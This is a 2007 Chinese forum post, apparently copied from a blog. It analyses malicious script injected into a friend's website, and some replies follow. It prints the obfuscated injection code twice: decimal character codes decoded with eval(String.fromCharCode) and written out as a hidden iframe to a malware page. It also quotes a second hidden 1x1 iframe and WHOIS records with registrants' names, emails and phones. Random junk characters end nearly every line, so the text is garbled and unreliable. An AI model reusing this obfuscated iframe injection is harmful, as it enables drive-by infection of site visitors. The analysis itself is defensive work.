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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, aQzu[N  
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http://www.areway.cn/?p=175 G<S(P@ss  
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123 6W+  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 4FWb5b!A=  
          &<s[(w!%%  
<script>t=’60,105,102,114,97,109,101, ;{zgp  
32,115,114,99,61,104,116,116,112,58,47,47, h=fzX .dt  
102,114,101,101,46,117,45,117,117,117,46,99, z/B[quSio  
110,47,101,114,114,111,114,46,104,116,109, W!R}eLf@  
32,119,105,100,116,104,61,49,48,48,32,104, DvBL #iC   
101,105,103,104,116,61,48,62,60,47,105,102,  <|Pw*L$  
114,97,109,101,62′; |Sne\N>%  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> -*Voui  
                                                                                                  Z|8oD*,  
<script>t=’60,105,102,114,97,109,101,32,115, WB: NV=&^  
114,99,61,104,116,116,112,58,47,47,102,114, '_f]qNy  
101,101,46,117,45,117,117,117,46,99,110,47, 8f""@TTp  
101,114,114,111,114,46,104,116,109,32,119, JDQ7  
105,100,116,104,61,49,48,48,32,104,101,105, 7_HJ|QB  
103,104,116,61,48,62,60,47,105,102,114,97, Y5 BWg  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); gJkk0wok C  
document.write(t);</script> W'>"E/Tx#O  
                                                                                                  yJ\K\\]  
<html xmlns=” *?'^R c  
http://www.w3.org/1999/xhtml V<ZohB?y  
“> K,!"5WrX*  
<head> W+F^(SC\  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> u9TiEEof3  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> <"93  
<title>首页 - 爱生活家庭网 \c"{V-#o\  
                                                                                                                                                    %Km^_JM  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 oVG/[e|c'  
转换字符串后的大概内容是(谁点击后果自付): /M}jF*5N  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 69z,_p$@:  
                                                                                                                                  b6@(UneVM  
查询玉米u-uuu.cn的详细信息: Zj(2$9IU  
Domain Name: u-uuu.cn |;G9K`8  
ROID: 20070901s10001s64972306-cn jp~C''Sj  
Domain Status: ok #s4v0auK  
Registrant Organization: 王雷 /$q9 Kxb  
Registrant Name: 王雷 (}]ae*  
Administrative Email: czlovexs@126.com :y>$N(.8f  
Sponsoring Registrar: 北京万网志成科技有限公司 z1-JoZ  
Name Server:ns.yovole.com TqvgCk-  
Name Server:ns1.yovole.com f1hjU~nJ  
Registration Date: 2007-09-01 17:54 zNZ"PYh<u  
Expiration Date: 2008-09-01 17:54 pj~Ao+  
最后PING了一下地址 都没有什么…. +"u6+[E  
                                                                                                jkzC^aG  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. sPu@t&$  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> -<Wv7FNpD  
<script language=”javascript” src=” p\"WX  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script TJ&Z/k3-  
> ]r|nz~Aa$  
这个玉米应该有可能是木马作者的: $Ur-Q d  
foafau.info的详细信息: Gkc.HFn(  
Access to INFO WHOIS information is provided to assist persons in ]TE,N$X  
determining the contents of a domain name registration record in the D2060ze  
Afilias registry database. The data in this record is provided by '@{'T LMCi  
Afilias Limited for informational purposes only, and Afilias does not #>]o'KQx  
guarantee its accuracy.  This service is intended only for query-based c]u^0X?&  
access. You agree that you will use this data only for lawful purposes "JH / ODm  
and that, under no circumstances will you use this data to: (a) allow, o 0-3[W'x<  
enable, or otherwise support the transmission by e-mail, telephone, or Cwb }$=p'  
facsimile of mass unsolicited, commercial advertising or solicitations )kBN]>&R  
to entities other than the data recipient’s own existing customers; or i^i^g5l!  
(b) enable high volume, automated, electronic processes that send \-Oq/g{j  
queries or data to the systems of Registry Operator, a Registrar, or Hn- k*Y/P  
Afilias except as reasonably necessary to register domain names or m(CbMu  
modify existing registrations. All rights reserved. Afilias reserves -W#-m'Lvu  
the right to modify these terms at any time. By submitting this query, 'Q^P#<<  
you agree to abide by this policy. l2AAEB_C.  
Domain ID:D22418703-LRMS e=8z,.Xk  
Domain Name:FOAFAU.INFO xu]>TC1  
Created On:20-Nov-2007 16:05:42 UTC Po~u-5  
Last Updated On:20-Nov-2007 16:05:44 UTC J Uf{;nt  
Expiration Date:20-Nov-2008 16:05:42 UTC P B W.nm  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) c`F~vrr)X  
Status:CLIENT DELETE PROHIBITED 2l8TX#K  
Status:CLIENT RENEW PROHIBITED 3 ;N+5*-  
Status:CLIENT TRANSFER PROHIBITED p^E}%0#  
Status:CLIENT UPDATE PROHIBITED Hq>"rrVhx  
Status:TRANSFER PROHIBITED )\!-n]+A  
Registrant ID:GODA-040110615 JfrPK/Vn  
Registrant Name:liu hong zv Dg1p  
Registrant Organization: 'ot,6@~x>  
Registrant Street1:beijing OYj4G ?c  
Registrant Street2: |%i|P)]  
Registrant Street3: #S*@RKSE|7  
Registrant City:beijing NV[_XXTv7  
Registrant State/Province: l6AG!8H  
Registrant Postal Code:100000 F+lsza  
Registrant Country:CN .5t|FJ]`$  
Registrant Phone:+86.860108888777 U#7moS'r  
Registrant Phone Ext.: [i  ]  
Registrant FAX: 2E*k@  
Registrant FAX Ext.: b{Qg$ZJeR  
Registrant Email:bbbshiji@163.com .3tyNjsn\  
Admin ID:GODA-240110615 _6"YWR  
Admin Name:liu hong B!z-O*fLE1  
Admin Organization: ;'|Mt)\  
Admin Street1:beijing bsn.HT"5  
Admin Street2: Q)H1\  
Admin Street3: jgkJF[t`  
Admin City:beijing WX2w7O'R  
Admin State/Province: w<4,;FFlZ/  
Admin Postal Code:100000 OE"r=is  
Admin Country:CN C4`u3S  
Admin Phone:+86.860108888777 =s\RK   
Admin Phone Ext.: {e3XmVAI  
Admin FAX: uPp9 UW  
Admin FAX Ext.: Z,? T`[4B  
Admin Email:bbbshiji@163.com 4)IRm2G  
Billing ID:GODA-340110615 UP*\p79oO  
Billing Name:liu hong gLH#UwfJ  
Billing Organization: .2si[:_(p  
Billing Street1:beijing m V U(b,  
Billing Street2: hZudVBn  
Billing Street3: 4ZRE3^y\"  
Billing City:beijing EZz`pE  
Billing State/Province: Rzolue 8  
Billing Postal Code:100000 <gdKuoY  
Billing Country:CN EJbFo682  
Billing Phone:+86.860108888777 JLZ[sWP='  
Billing Phone Ext.: q,W6wM;,E  
Billing FAX: L&i_  
Billing FAX Ext.: @t;WdbxB%  
Billing Email:bbbshiji@163.com cITF=Ez  
Tech ID:GODA-140110615 0UHX Li47Y  
Tech Name:liu hong @aA1=9-L  
Tech Organization: o`!7 ~n  
Tech Street1:beijing 0%m}tfQ5  
Tech Street2: z_jTR[dY  
Tech Street3: \mBH6GS  
Tech City:beijing 0Q]p#;  
Tech State/Province: N1O& fMz  
Tech Postal Code:100000 `wyX)6A|bt  
Tech Country:CN 0B4&!J  
Tech Phone:+86.860108888777 )ZU=`!4  
Tech Phone Ext.: .q>4?+  
Tech FAX: mNvK|bTUT  
Tech FAX Ext.: OfR\8hAY  
Tech Email:bbbshiji@163.com d^&F%)AT  
Name Server:NS27.DOMAINCONTROL.COM Ul<'@A8  
Name Server:NS28.DOMAINCONTROL.COM UacGq,  
Name Server: L?@ TF;  
Name Server: Dm3/i |Y  
Name Server: 4zF|}aiQ  
Name Server: #&@qmps(T  
Name Server: .?TPoqs7Z  
Name Server: -*?Y4}mK  
Name Server: ~N i#xa  
Name Server: tGKIJ`w*h  
Name Server: m-SP#?3  
Name Server: n&. bs7N2  
Name Server: ,sAN,?eG~  
                                                                                                          !  Z e  
接着下载每个文件里面的代码: fs]9HK/@\  
一步一步看.. dh7PpuN{  
6zQ {Y"0  
>!j= {hK  
]~,V(K  
"EoC7 1  
mGQgy[gX  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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